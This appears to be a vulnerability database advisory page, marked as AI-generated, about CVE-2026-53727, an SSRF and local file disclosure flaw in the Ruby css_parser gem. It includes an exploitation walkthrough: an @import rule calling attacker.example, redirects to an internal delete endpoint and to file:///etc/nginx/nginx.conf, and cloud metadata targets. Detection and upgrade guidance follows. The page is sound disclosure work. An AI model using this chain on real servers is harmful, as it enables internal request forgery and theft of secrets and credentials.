
Cloud Vulnerability DB
A community-led vulnerabilities database
CVE-2026-53727 is an SSRF and Local File Disclosure vulnerability in the Ruby css_parser gem affecting CssParser::Parser#read_remote_file (and by extension load_uri! and the @import-following branch of add_block!). It affects all versions of css_parser below 3.0.0 (specifically confirmed against 2.2.0), and was originally discovered by pentesters at NCC Group, reported by @JLLeitschuh of the Braze security team, first published June 1, 2026, and added to the GitHub Advisory Database on July 9, 2026. The patched version is 3.0.0. It carries a CVSS v4 base score of 8.9 (High) (GitHub Advisory, css_parser Advisory).
The root cause is a complete absence of input validation in CssParser::Parser#read_remote_file (lib/css_parser/parser.rb#L613-L687), classified as CWE-918 (SSRF) and CWE-73 (External Control of File Name or Path). The function issues HTTP/HTTPS GET requests to any host, port, and URI without a scheme allowlist, host/IP filtering, or protection against loopback, RFC-1918, or link-local addresses. Critically, Location: redirect headers are followed recursively back into the same function, which also handles file:// URIs via File.read — meaning a single attacker-controlled HTTP redirect can escalate the bug from SSRF to arbitrary local file read. Additionally, Accept-Encoding: gzip is hardcoded and responses are decompressed without size bounds, enabling decompression bomb (DoS) attacks. Any application passing attacker-influenced CSS with a base_uri: option (the canonical case being Premailer) reaches this sink via a single @import url(...) rule (GitHub Advisory, css_parser Advisory).
Successful exploitation enables unauthenticated attackers to perform arbitrary outbound HTTP/HTTPS GET requests to any host reachable from the server — including loopback, RFC-1918, link-local (e.g., AWS/GCP/Azure IMDS at 169.254.169.254), and Docker/Kubernetes service IPs — and to read local files via cross-scheme redirect to file://. Response bodies that are CSS-shaped (e.g., nginx/HCL/Terraform config files using name { key: value; } syntax) are recoverable through the parser API and surfaced in rendered output by Premailer-style consumers, enabling data exfiltration. Additional impacts include a file-existence oracle (via exception behavior), side-effecting GETs against internal admin endpoints (e.g., triggering state changes on legacy panels), and potential resource exhaustion via decompression bombs (GitHub Advisory).
css_parser < 3.0.0 that processes attacker-influenced CSS with a base_uri: option — Premailer-based email rendering pipelines are the canonical target.@import rule pointing to an attacker-controlled server:@import url("https://attacker.example/redirect");attacker.example to respond to GET /redirect with an HTTP 302 redirect. For SSRF, redirect to an internal endpoint: Location: http://internal-admin.local/api/v1/users/42?action=delete. For local file disclosure, redirect to a file:// URI: Location: file:///etc/nginx/nginx.conf.Parser#add_block! with base_uri: set (e.g., an HTML email template, a CSS upload field, or a user-controlled style block).add_block! detects the @import rule, calls load_uri!, which calls read_remote_file, which issues a GET to the attacker's server and follows the redirect without validation.parser.to_s. For file-existence oracle, observe whether a CssParser::RemoteFileError is raised (missing file) or not (file exists) (GitHub Advisory, css_parser Advisory).169.254.169.254) with a User-Agent matching the css_parser gem's configured user agent string.CssParser::RemoteFileError exceptions for non-existent file:// paths, potentially indicating filesystem enumeration attempts.prop: value; format)./etc/nginx/nginx.conf, /etc/passwd, .env files) may be logged by the OS audit subsystem (auditd) if file-read auditing is enabled (GitHub Advisory).Upgrade css_parser to version 3.0.0 or later, which routes all outbound HTTP through the ssrf_filter gem (blocking loopback, RFC-1918, link-local, and cloud metadata IPs), removes file:// handling from read_remote_file entirely, and drops the hardcoded Accept-Encoding: gzip header. Two new opt-in flags are available for legitimate use cases: allow_local_network: true (re-enables HTTP to private/loopback addresses) and allow_file_uris: true (re-enables file:// URI support in load_uri!). Premailer and standard email-rendering pipelines require no code changes after upgrading — the default-secure configuration is sufficient. Test suites fetching from localhost fixture servers should add allow_local_network: true to the relevant Parser.new calls (GitHub Advisory, Ruby Advisory DB).
The vulnerability was discovered by pentesters at NCC Group and responsibly disclosed by @JLLeitschuh of the Braze security team, indicating engagement from enterprise security teams. The advisory was published by the maintainer (grosser) on June 1, 2026, with a detailed threat model and proof-of-concept, reflecting a high-quality disclosure process. No significant broader media coverage or notable social media reactions have been identified at this time (GitHub Advisory).
Source: This report was generated using AI
Free Vulnerability Assessment
Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.
Get a personalized demo
"Best User Experience I have ever seen, provides full visibility to cloud workloads."
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
"We know that if Wiz identifies something as critical, it actually is."